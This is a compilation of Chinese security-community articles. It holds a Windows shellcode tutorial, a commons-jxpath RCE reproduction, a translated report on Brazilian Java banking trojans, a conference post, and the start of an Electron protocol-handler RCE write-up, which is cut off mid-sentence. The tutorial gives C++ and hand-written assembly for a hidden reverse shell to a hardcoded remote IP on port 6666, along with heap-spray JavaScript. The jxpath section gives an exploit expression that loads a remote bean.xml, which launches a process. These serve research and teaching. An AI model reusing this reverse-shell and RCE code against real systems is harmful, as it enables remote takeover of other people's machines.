调用URLDownloadToFile函数下载恶意文件到本地，并且使用Winexec执行
函数原型
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
### （2）捆绑
通过GetFileSize获取文件句柄，获取释放路径（GetTempPathA），设置好文件指针（SetFilePoint），使用VirtualAlloc在内存中申请一块内存，再将数据读取（ReadFile）写入到本地文件（CreateFIle
WriteFile），最后在对该文件执行。
### （3）反弹shell
反弹shell属于无文件攻击，使用socket远程获得对方的cmd.exe。优点是不容易留下日志，适合渗透测试中使用，缺点也很明显，维持连接的稳定性较差。
在Windows下实现反弹shell，比Linux多了一个步骤，启动或者初始化winsock库，之后创建cmd.exe进程然后TCP连接端口/打开监听方法都是相近的。
需要注意的使用C编程可以使用Socket结合双管道进行通信，但是用汇编管道编写比较麻烦。不建议使用管道来进行通信。解决方案是使用WSASocket代替Socket，这个函数支持IO重叠。
函数原型
SOCKET WSASocket (
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
这里我们主要针对第三种功能，实现一个无管道的反弹shell代码。
因为篇幅较长，这里使用C++实现，接下来只需要用汇编调用函数实现即可。
本部分参考博客：<https://blog.csdn.net/PeterZ1997/article/details/79448916>
实现环境
> WIN7 SP1
> VS2010
首先实现一个TCP连接，使用nc做连接测试。
WSASocket的使用与Socket基本一致，多出来的参数设置为NULL即可。
包含头文件WinSock2.h和winsock.h
//初始化WSA套接字
WSADATA wsd;
WSAStartup(0x0202,&wsd);
SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR);
sin.sin_port=htons(REMOTE_PORT);
sin.sin_family=AF_INET;
//连接远程的服务端，发送验证代码
connect(socket,(sockaddr*)&sin,sizeof(sin));
send(socket,"[+]Hello!n",strlen("[+]Hello!n"),0);
接下来将使用CreateProcess为cmd.exe创建子进程，然后将标准输入、标准输出、标准错误输出都绑定到socket上。（这部分在Linux下实现比起Windows就简单多了，可以直接重定向）
//创建cmd进程
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb=sizeof(STARTUPINFO);
si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket; //将标准输入输出绑定到Socket
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
TCHAR cmdline[255]=L"cmd.exe";
while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){ //创建进程，第五个参数TRUE子进程继承父进程的所有句柄
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
在汇编编写中，可以讲首先计算出关键函数和DLL的基地址并且放入栈帧，方便随时调用。
socket类的函数（WSAStartup、connect）如果执行成功EAX会返回0，如果失败会返回-1（0xFFFFFFFF）
以上程序实现函数的来源
**_Kernel32.dll_**
CreateProcessA
GetStartupInfoA
LoadLibraryA
**_ws2_32.dll_**
WSAStartup
WSASocketA
connect
使用汇编编写
初始化部分（代码量较大，仅做参考，速读的读者可以暂时跳过这部分）
nop
nop
nop
;get the address of kernel32.dll
xor ecx,ecx
mov eax,fs:[0x30];EAX=PEB
mov eax,[eax+0xc];EAX=PEB->LDR
mov esi,[eax+0x14];ESI=PEB->Ldr.lnMemOrder
lodsd ;mov eax,[esi];esi+=4;EAX=SecondMod->ntdll
xchg eax,esi
lodsd ;EAX=ThirdMod->kernel
mov ebx,[eax+0x10] ;EBX=kernel->DllBase
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcessAddress
;EDX=GetProcAddr
;EBX=kernel32
;get CreateProcess address
xor ecx,ecx
push ebx ;Kernel32
push edx;GetProcAddr
mov cx,0x4173;sA
push ecx ;sA
push 0x7365636F;oces
push 0x72506574;tePr
push 0x61657243;Crea
push esp ;"CreateProcessA"
push ebx
call edx;GetProcAddr("CreateProcessA")
add esp,0x10 ;clean stack
push eax ;CreateProcessA
;CreateProcessA <--esp
;GetProcAddr <-- esp+4
;Kernel32 <--esp+8
//mov ebx,[esp+8];Kernel32
mov edx,[esp+4];GetProAddr
;get GetStartupInfo address
mov ecx,0x416F66
push ecx;foA
push 0x6E497075;upIn
push 0x74726174;tart
push 0x53746547;GetS
push esp
push ebx ;Kernel32
call edx ;GetProAddresss("GetStartupInfoA")
add esp,0x10;clean stack
push eax ;GetStartupInfoA
mov edx,[esp+8];GetProAddr
;Get LoadLibrary
xor ecx,ecx
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress("LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
mov cx,0x3233 ; 32
push ecx;
push 0x5F327377 ; ws2_
push esp ; "ws2_32"
call eax ; LoadLibrary("ws2_32.dll")
;MessageBoxA address
add esp,0x8 ;pop "ws2_32.dll"
push eax
;ws2_32.dll <--esp
;LoadLibraryA <--esp+4
;GetStartupInfoA <--esp+8
;CreateProcessA <--esp+0c
;GetProcAddr <-- esp+0x10
;Kernel32 <--esp+0x14
mov edx,[esp+0x10] ;GetProcAddress
xor ecx,ecx
mov cx,0x7075;up
push ecx
push 0x74726174;tart
push 0x53415357 ;WSAS
push esp ;"WSAStartup"
push [esp+0x10];ws2_32.dll
call edx;GetProcAddress("WSAStartup")
add esp,0xc
push eax;WSAStartup
mov edx,[esp+0x14] ;GetProcAddress
mov ebx,[esp+4];ws2_32.dll
xor ecx,ecx
mov cx,0x4174;
push ecx ;tA
push 0x656B636F ;ocke
push 0x53415357 ;WSAS
push esp ;"WSASocket"
push ebx;ws2_32.dll
call edx;GetProcAddress("WSASocket")
add esp,0xc
push eax;WSASocket
mov edx,[esp+0x18] ;GetProcAddress
mov ebx,[esp+8];ws2_32.dll
xor ecx,ecx
push 0x746365 ;ect
push 0x6E6E6F63 ;conn
push esp ;"connect"
push ebx;ws2_32.dll
call edx;GetProcAddress("connect")
;inet_addr
add esp,0x8
push eax;connect
mov edx,[esp+0x1c] ;GetProcAddress
mov ebx,[esp+0xc];ws2_32.dll
xor ecx,ecx
mov cx,0x72;
push ecx;r
push 0x6464615F;_add
push 0x74656E69;inet
push esp ;"inet_addr"
push ebx;ws2_32.dll
call edx;GetProcAddress("inet_addr")
;htons
add esp,0xc
push eax;
mov edx,[esp+0x20] ;GetProcAddress
mov ebx,[esp+0x10];ws2_32.dll
xor ecx,ecx
mov cx,0x73
push ecx;s
push 0x6E6F7468;hton
push esp ;"htons"
push ebx;ws2_32.dll
call edx;GetProcAddress("htons")
add esp,0x8
push eax
;htons <--esp
;inet_addr <--esp+4
;connect <--esp+8
;WSASocket <--esp+0xc
;WSAStartup <--esp+0x10
;ws2_32.dll <--esp+0x14
;LoadLibraryA <--esp+0x18
;GetStartupInfoA <--esp+1c
;CreateProcessA <--esp+0x20
;GetProcAddr <-- esp+0x24
;Kernel32 <--esp+0x28
编写Socket部分
到这里，我们的程序已经能和服务器建立TCP连接了
/*Socket部分*/
//WSTartup(0x202,&WSADATA,)
sub esp,0x20
mov eax,[esp+0x30]
push esp;lpWSADATA
push 0x202;wVersionRequested
call eax //if eax->0 sucess.else fail
//WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0)
mov eax,[esp+0x2c];WSASocket
xor ecx,ecx
push ecx
push ecx
push ecx
mov cx,0x6
push ecx
mov cx,0x1
push ecx
inc ecx
push ecx
call eax
push eax; //push socket
//inet_addr(120.79.174.75)
mov eax,[esp+0x28] ;inet_addr
xor ecx,ecx
mov cx,0x35
push ecx;5
push 0x372E3437;74.7
push 0x312E3937;79.1
push 0x2E303231;120.
push esp;
call eax;
add esp,0x10
push eax;push Remote_addr -->sa_data+2
//htons(6666)
mov eax,[esp+0x28] ;htons
push 0x1A0A ;6666
call eax
mov edx,[esp+0x30];connect
//Store sock_addr
push ax;push Remote_ports -->sa_data
mov ax,0x2
push ax;push AF_INET -->sa_family
mov ebx,esp; store sock_addr
//Connect(socket,&sock_addr,sizeof(sock_addr));
/*
00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12)
00000000 ; XREF: _wmain_0/r
00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w
00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w
00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w
00000010 sockaddr ends
*/
push 0x10 ; sizeof(sock_addr)
push ebx ;scok_addr
push [esp+0x10];socket
call edx ;connect ; server#nc -l 6666 (close fire wall)
在本地创建cmd.exe子进程
注意这两个语句也需要实现，否则只能在本地打开一个shell
#define STARTF_USESTDHANDLES 0x00000100
即使用父进程的句柄（我们的Socket也是一个句柄）而不是全新的句柄。
//si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE;
/*创建cmd.exe子进程*/
/*
00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14)
00000000 ; XREF: _wmain_0/r
00000000 cb ->size 44 ; XREF: _wmain_0+134/w
00000004 lpReserved dd ? ; offset
00000008 lpDesktop dd ? ; offset
0000000C lpTitle dd ? ; offset
00000010 dwX dd ?
00000014 dwY dd ?
00000018 dwXSize dd ?
0000001C dwYSize dd ?
00000020 dwXCountChars dd ?
00000024 dwYCountChars dd ?
00000028 dwFillAttribute dd ?
0000002C dwFlags <--0x100
00000030 wShowWindow dw
00000032 cbReserved2 dw ?
00000034 lpReserved2 dd ? ; offset
00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset
0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w
00000040 hStdError ->socket ; XREF: _wmain_0+141/w
00000040 ; _wmain_0+147/r ; offset
00000044 _STARTUPINFOW ends
00000044
*/
//init _STARTUPINFO
mov esi,[esp+0x8]
push esi; push hStdError
push esi; push hStdOutput
push esi; push StdInput
xor esi,esi
xor ecx,ecx
push esi;
push esi;
push 0x100; dwFlags
mov cx,0xa
PUSH_NULL:
push esi
loop PUSH_NULL
mov ecx,0x44 ;cb
push ecx
mov edx,esp ;_STARTUPINFO
mov ebx,[esp+0x90];CreateProcess
push 0x657865;exe
push 0x2E646D63;cmd.
mov esi,esp ;"cmd.exe"
//CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)
push edx;&pi
push edx ;&si
xor ecx,ecx
push ecx;NULL
push ecx;NULL
push ecx;NULL
inc ecx
push ecx;TRUE
sub ecx,0x1
push ecx;NULL
push ecx;NULL
push esi;cmdline
push ecx;NULL
call ebx;CreateProcess
push eax
在执行call之后，你的服务器会得到一个windows的反弹shell。生成Unicode码之后，继续用可怜的IE8来做实验。
## 0x04 shellcode布置技术
我们知道在栈溢出中，可以将shellcode布置在栈空间的不同位置，同样在实际漏洞利用中，尤其在栈溢出已经落寞的今天，堆利用中，布置shellcode方法更是层出不穷，笔者也无法将所有的方案汇总全面，就仅对目前常见的几种布置技术做个总结。
### Jmp esp /ROP
在Windows中使用jmp
esp(跳板技术)的频率远远高于linux（虽然这种技术在linux下也可用），比起将shellcode放在ret地址后面，将shellcode放在栈顶能有效减少空间。通过调用jmp
esp将程序跳转到shellcode。
虽然在DEP和ASLR盛行的年代，这个技术也早已不再有用武之地。但除了对于研究历史漏洞帮助，该技术还是引入ROP这个概念的一个前置知识，在学习了ROP之后，你会忽然领悟的。
这次让我们放下windbg，自己动手编程实现寻找jmp esp
**编程实现寻找gadget**
以jmp esp为案例，寻找user32.dll中的所有jmp esp地址。
#include "stdafx.h"
#include<windows.h>
#define DLL_Name "user32.dll"
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE handle=LoadLibraryA(DLL_Name);
if(!handle){
printf("load dll errorn");
exit(0);
}
printf("Load success...n");
BYTE *ptr=(BYTE*)handle;
BOOL flag=false;
for(int i=0;!flag;i++)
{
try{
if(ptr[i]==0xFF&&ptr[i+1]==0xE4) //JMP ESP的十六进制码=0xFFE4
printf("ttptr->jmp esp = 0x%xn",((int)ptr+i));
}
catch(...)
{
int address=(int)ptr+i;
printf("END OF 0x%xn",address);
flag=true;
}
}
return 0;
}
### 使用ROP绕过DEP
ROP技术是用于绕过栈不可执行（其实现在的堆也不可执行咯），什么是ROP技术。其实之前的jmp
esp已经引出了ROP的基础理念，即使用程序自身text段的机器码执行。
ROP的全程面向返回语句的编程，一个个gadgets串联起来的链叫做ROP链。每个gadgets的格式大概为“ 指令 指令
ret”，通过ret命令将所有的gadgets串联起来。
如果说jmp esp是一个跳板就直指靶心，那么ROP就是经过好多跳板，分步骤完成自己的命令。
常见的绕过DEP的案例，就是通过ROP实现VirtualProtect来对shellcode所在内存修改属性（相当于关闭DEP），将其修改为可执行，再通过JMP
R32来跳转执行Shellcode。
具体案例可以参考我之前写的对IE浏览器写的Exploit
<https://www.anquanke.com/post/id/190590>
### HeapSpray
堆喷射是一种shellcode布置技术，常常借助javascript等脚本语言实现，所以常见于浏览器漏洞。
上古的堆喷射
在Windows XP
SP3以前，Windows下大部分程序都不会默认开始DEP（或者不支持），只需要构建nop（大量）+shellcode的内存块,使用javascript申请200MB的内存空间，能够覆盖内存的大量空间。只要控制程序流跳转到类似0x0c0c0c0c（也可以是其他位置，只要足够稳定就行）这样就会顺着nops一路滑到shellcode并且执行。
参考代码
<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++){
slide[i]=nop+shellcode;
// slide[i]=nop;
}
</script>
精确堆喷射
在Windows进入后DEP时代，面临DEP和ASLR的双重防线，DEP导致堆中的数据无法执行，之前布置大量数据以量取胜的战术失去了意义。于是heap-feng-shui（堆风水）技术被提出。
通过堆风水，我们申请0x1000个0x80000大小的堆块。分配量足够大，导致堆块中的每0x1000个小的片的开始地址都是固定，通常为0xYYYY020。
因此我们能够将ROP链的头部稳定对齐末尾固定的四字节（例如0xYYYY0050）。这样就能构成某种意义上的精确喷射。
参考文献：<http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html>
IE8下的参考代码（shellcode喷射对齐0x0c0c0c0c）
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000为单位的shellcode+nop结构单元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码，所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块（heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
参考文献：
[1]peter.《Exploit编写教程》[OL/DB],2010
[2]《现代化windows漏洞程序开发》[OL/DB],2016
[3]Failwest.《0day安全》[M].电子工业出版社,2011
[4][PEB手工分析](https://blog.csdn.net/hgy413/article/details/8490918)
[5][WinXp符号表不支持解决方案](https://blog.csdn.net/qq_38924942/article/details/87801649)
[6]<https://blog.csdn.net/x_nirvana/article/details/68921334>
[7]<https://blog.csdn.net/hgy413/article/details/7422722> | 社区文章 |
2017先知白帽大会传递了技术人的温度和热情；
2018先知白帽大会将回归技术的纯粹，用优质的分享点燃技术的狂欢。
那么问题来了，
你对2018先知白帽大会有什么样的期待？
想要在大会上看到什么样的议题？
比如：
白帽子a说：“我希望在2018先知白帽大会看到WEB安全的深度知识分享、希望看到一些“猥琐”的渗透技巧分享。”
白帽子b说：“我希望在2018先知白帽大会看到orange、Phithon、猪猪侠、木瓜、redrain来参与分享。”
白帽子c说：“希望在2018先知白帽大会看到orange讲渗透的一些实战技巧、redrain讲IoT安全、Phithon讲代码审计。”
白帽子d说：“我最近研究的技术很有意思，对业务安全很有启发性，想要在2018先知白帽大会分享给大家，让大家一起来探讨。”
那么，你的想法呢？
欢迎在欢迎在评论中回复。
梦想还是要有的，据说靠谱的梦想都能实现。 | 社区文章 |
## 漏洞简介
commons-jxpath 是一个java库，是Xpath基于java语言的一种实现。使用 JXPath 来解释不受信任的 XPath
表达式的人可能容易受到远程代码执行攻击。所有处理 XPath 字符串的 JXPathContext 类函数都容易受到攻击，除了 compile() 和
compilePath() 函数。攻击者可以使用 XPath 表达式从类路径加载任何 Java 类，从而导致代码执行。
我们看到 Tweet 上面有一些关于漏洞复现的图片
根据这些图片我们进行简单的复现和分析
## 漏洞复现
我们在 maven 仓库中查找 jxpath
`https://mvnrepository.com/search?q=jxpath`
把依赖复制出来，添加到项目的 pom.xml 文件中
<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>
添加完成后刷新一下 maven 依赖
我们编写代码
import org.apache.commons.jxpath.JXPathContext;
public class JXpathDemo {
public static void main(String[] args) {
try{
JXPathContext context = JXPathContext.newContext(null);
String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
System.out.println(key);
}catch (Exception exception){
exception.printStackTrace();
}
}
}
我们先并不去创建 bean.xml 文件 如果确实运行成功的话，我们会在 8080 端口接收到请求
但是我们运行项目之后出现了错误
我们看到提示的错误是 无法调用函数，通过不断的加断点调试分析，发现是在本地没有相关依赖，所以我们在 pom 文件中添加
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
刷新 maven 再次运行项目 端口接收到了请求
写一个 bean.xml 文件
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞触发成功
## 漏洞分析
先将调试后的大致流程图画出
`org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue`
漏洞比较关键的就是在此处，利用 `context.getRootContext().getFunction(functionName,
parameters);` 去获取 function 之后再根据 function 去调用 invoke 方法
`org.apache.commons.jxpath.PackageFunctions#getFunction`
会先判断类名是否存在，然后再根据方法是构造函数还是静态方法 返回
* org.apache.commons.jxpath.functions.ConstructorFunction
* org.apache.commons.jxpath.functions.MethodFunction
然后再去调用对应的 invoke
`org.apache.commons.jxpath.functions.ConstructorFunction#invoke`
这个地方利用的就是构造函数
利用 spring 中的两个类构造函数加载远程配置实现 RCE
* org.springframework.context.support.ClassPathXmlApplicationContext
* org.springframework.context.support.FileSystemXmlApplicationContext
也就是说如此构造就等同于
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
public static void main(String[] args) {
String s = "http://127.0.0.1:8080/bean.xml";
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
}
}
我们再看一下静态方法对应的 invoke
`org.apache.commons.jxpath.functions.MethodFunction#invoke`
最后是调用反射去执行方法，对于静态方法可以利用 JDBC 链 等进行利用
## 总结反思
漏洞主要是因为处理 XPath 字符串的
JXPathContext类函数，JXPath支持开箱即用的标准XPath函数。它还支持“标准”扩展函数，这基本上是到Java的桥梁，以及完全自定义的扩展函数。使用标准扩展函数，可以调用对象上的方法、类上的静态方法，并使用任何构造函数创建对象。所有类名都应该是完全限定的。
通过它本身的特性可以调用任意方法来说，就可以知道漏洞产生的原因了，分析构造满足条件的XPath 就实现了漏洞的利用 | 社区文章 |
# 来自巴西的跨平台银行木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://securelist.com/blog/research/74051/first-step-in-cross-platform-trojan-bankers-from-brazil-done/>
译文仅供参考，具体内容表达以及含义原文为准。
在此之前，巴西的网络犯罪分子们一只都在与俄罗斯的黑客们比赛，竞争的焦点就在于到底谁能开发出更多的银行木马病毒，而且到底是谁开发出来的银行木马更加有效。几天之前，我们发现了一种与以往有所不同的新型木马病毒传播途径，攻击者能够在Jar文件中附带“Banloader”组件，而这也是一种非常常见的操作方式，因为由Java语言所开发的程序（jar包）能够在Linux，OS
X，以及Windows等主流操作系统上运行。实际上，他也可以在特定的移动设备环境中正常运行。
**社会工程学技术**
社会工程学(Social
Engineering)是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段，并以此来获取自身利益的手法。近年来已成迅速上升甚至滥用的趋势。那么，什么算是社会工程学呢?它并不能等同于一般的欺骗手法，社会工程学尤其复杂，即使自认为最警惕最小心的人，一样可能会被高明的社会工程学手段损害利益。
我们在进行了分析之后，发现有的电子邮件中附带有Jar文件的下载链接，而有的情况则是攻击者直接向目标主机传播Jar文件包，这样一来，目标用户就不用直接从网络上下载任何东西了。
**感染木马**
当目标用户点击了这条恶意链接之后，目标计算机将会迅速被木马所感染。由此看来，我们不得不承认巴西的网络犯罪分子们的确是社会工程学方面的专家。那么，当受害者点击了这条恶意链接之后，接下来会发生什么呢？结果肯定是各种各样的，具体的情况将取决于此次攻击背后的黑客组织。我们之所以会这么说，是因为我们虽然在此之前已经见过很多来自巴西的各类网络犯罪团伙了，但是这些黑客组织显然不会使用Jar文件来对银行用户进行攻击，因为这不是他们的攻击风格。
但事实上，无论目标用户使用的是哪一种操作系统，不管是OS
X，还是Linux，又或者是Windows，只要目标用户在其计算机中安装了Java环境，“Banloader”就能够运行并对系统进行感染。
但是有的黑客组织仍在使用传统的攻击方式，即：将目标用户重定向至一个虚假的银行网站：
而有的攻击者则会利用DES或者RSA加密算法来对Jar程序的代码进行较为复杂的混淆处理。
当我们对这些代码进行了反混淆处理之后，我们可以清楚地看到，Jar包中的代码会将一个文件存入目标系统之中，而这个文件就是攻击者用来盗取目标用户银行存款的工具：
**有趣的字符串数据**
除了上述信息之外，我们还发现了网络犯罪分子所留下的字符串信息，但我们尚不清楚这是有意为之，还是无心之举。我们在不同的Jar银行木马中发现了下列字符串信息：
“liberdade” – 意为自由，平等；
“maravilha” – 意味奇迹，美好的事物；
**这种攻击的重要性在哪？**
由于只要目标系统中安装有Java运行环境，那么Jar文件就可以在Windows，OS
X，以及Linux等主流操作系统中运行。所以这也就是巴西的犯罪分子们使用Java语言来开发这个“[跨平台](https://securelist.com/blog/research/73660/adwind-faq/)”银行木马的原因。
**这意味着什么？**
开发这款银行木马的巴西黑客正在开发能够在所有操作系统平台中运行的木马病毒，而不仅仅只局限于Windows操作系统。
这是否意味着OS X和Linux的用户们现在也成为了巴西网络犯罪分子们的攻击目标？
至少目前还不是。我们之所以这样说，是因为“Banloader”组件是在Jar包之中，但是最终起作用的恶意软件仍然是针对Windows操作系统而设计的。所以，就我们目前所发现的信息来看，制作跨平台的木马病毒只是巴西黑客所进行的第一步。所以，巴西的网络犯罪分子迟早会对所有的操作系统平台产生威胁，这只是时间问题。
巴西的网络犯罪分子们是否会继续开发这类跨平台的木马病毒？
目前，我们有理由相信他们会继续开发这类跨平台的木马病毒。而且他们才刚刚开始，他们不可能现在就停下脚步。
这些Jar恶意软件的隐蔽性到底有多强？
实际上，目前主流的反病毒产品对这类木马病毒的检测率都是比较低的。
卡巴斯基实验室的反病毒产品在检测这类安全威胁时，将病毒名称定为什么？
根据每一个病毒样本的特性，安全研究人员将这些木马病毒归为以下几类：
l Trojan-Banker.Java.Agent
l Trojan-Downloader.Java.Banload
l Trojan-Downloader.Java.Agent
大多数目标用户的地理位置分布情况如何？
从我们目前所检测到的数据表明，大多数的目标用户来自于巴西，西班牙，葡萄牙，美国，阿根廷，以及墨西哥等国。
为什么在德国和中国也有受此木马影响的用户？
因为现在还有其他的网络犯罪分子也会使用同样的恶意软件技术来进行攻击，所以反病毒软件会将这类恶意软件检测为同一家族的恶意软件。 | 社区文章 |
原文链接：<https://www.zerodayinitiative.com/blog/2018/12/18/top-5-day-two-electron-boogaloo-a-case-for-technodiversity>
这是我们评选的2018年五大漏洞的第二个案例，这些评选出来的bug都具有一些独特的元素，使得其与今年发布的大约1400条其他报告不同。这篇博客实际上是详细描述了Electron框架中的多个bug，这些bug最终都收到了相同的CVE编号。
2017年12月初，我们从长期合作伙伴rgod那里收到了一组存在于谷歌Web Designer
([ZDI-18-552](https://www.zerodayinitiative.com/advisories/ZDI-18-552/))、Microsoft
Teams
([ZDI-18-426](https://www.zerodayinitiative.com/advisories/ZDI-18-426/))、Skype
([ZDI-18-308](https://www.zerodayinitiative.com/advisories/ZDI-18-308/))和Slack
([Slack -18-265](https://www.zerodayinitiative.com/advisories/ZDI-18-265/))
Windows桌面客户端中的与协议处理程序相关的远程代码执行漏洞。虽然它们是非常不同的产品，但它们有一个共同点——Electron.js。Electron是一个开发框架，允许开发人员使用Node.js编写跨平台的桌面客户端，是一种比较新的跨平台桌面应用程序框架。
编号为CVE-2018-1000006的这四个不同的漏洞都可以通过一个的[Electron.js的补丁](https://electronjs.org/blog/protocol-handler-fix)来修复。这个补丁是从一个下游产品中合并而来的，并不是rgod提交的相关部分。由于Electron从一个不相关的软件存储库中获取了补丁，rgod似乎还发现了一个bug冲突。
这个漏洞被选为年度前5大漏洞之一的原因是因为它的影响超出了前面提到的4个产品。在修复的版本发布后不久，Tomas Lažauninkas
([@Wflki](https://twitter.com/Wflki))发现[Exodus钱包](https://hackernoon.com/exploiting-electron-rce-in-exodus-wallet-d9e6db13c374)应用也受到了影响。除此之外，rgod还在利用了Chromium嵌入式框架(一个类似于Electron.js的平台)的应用程序中发现了相同的脆弱性模式，影响到了Spotify
Music Player
([ZDI-18-280](https://www.zerodayinitiative.com/advisories/ZDI-18-280/))和Amazon
Music Player
([ZDI-18-215](https://www.zerodayinitiative.com/advisories/ZDI-18-215/))的Windows客户端。
## 漏洞
基于Electron.js的的应用程序可以注册一个定制的协议处理程序，以促进深层链接的用户体验模式。这允许用户点击浏览器中自定义的应用程序URI（统一资源标识符），从而导致相应的应用程序启动并显示上下文相关的内容。攻击者可以使用任意命令行参数创建自定义URI，并注入嵌入式Chromium命令行选项来影响程序流或应用程序的启动条件。
谷歌浏览器的一些选项是十分危险的。例如，--gpu-launcher=
选项会根据提供的命令创建一个进程，[很多公开可用的PoC代码](https://hackernoon.com/exploiting-electron-rce-in-exodus-wallet-d9e6db13c374)就利用了这个命令行选项。在rgod给微软团队的提交报告(ZDI-18-426)中，他用以下PoC演示了这种技术:
然而，我们还没有看到任何公开的PoC使用rgod在其他提交文件中所演示的利用技术。在针对影响到谷歌Web
Designer的ZDI-18-552的提交报告中，他利用了其他三个命令行选项来注入.hta
HTML，将应用程序文件放入日志文件中。日志文件由攻击者控制，放置在受害者机器的启动目录中:
当受害者重新启动他们的电脑，suntzu.hta将作为启动程序执行，并且启动计算器应用。
在影响微软Skype的ZDI-18-308提交报告中，他展示了另一种利用技术:
这个--browser-subprocess-path=谷歌命令行选项允许用户为渲染程序和插件子进程指定可执行文件的路径。在这个PoC中，rgod演示了payload文件也可以存储在网络UNC路径上。这种利用技术可能会对某些端点检测和响应(EDR)软件造成不利影响。
在他提交给Slack (ZDI-18-265)的文件中，他指出Slack只要存在一个活动实例，就能够阻止exp的运行。但是添加--user-data-dir=选项可以指示Slack使用不同的用户配置文件，并导致Slack启动exp运行，即使受害者的计算机上运行着一个活动实例:
## 问题核心
Electron通过将一系列与Chromium相关的命令行选项列入黑名单来减少这些bug，虽然这确实使这些特定的bug不可利用，但是问题的根源仍然没有得到修补。当应用程序调用Electron.js
API
app.setAsDefaultProtocolClient()来为它的Windows客户端注册一个自定义的URI时，Electron.js会在Windows中创建一个新的注册表项。下面是Electron.js如何在未修复漏洞版本的Stack
Windows客户端上注册了自定义协议：
根据微软的文档，这个注册会将slack.exe设置为定制slack://
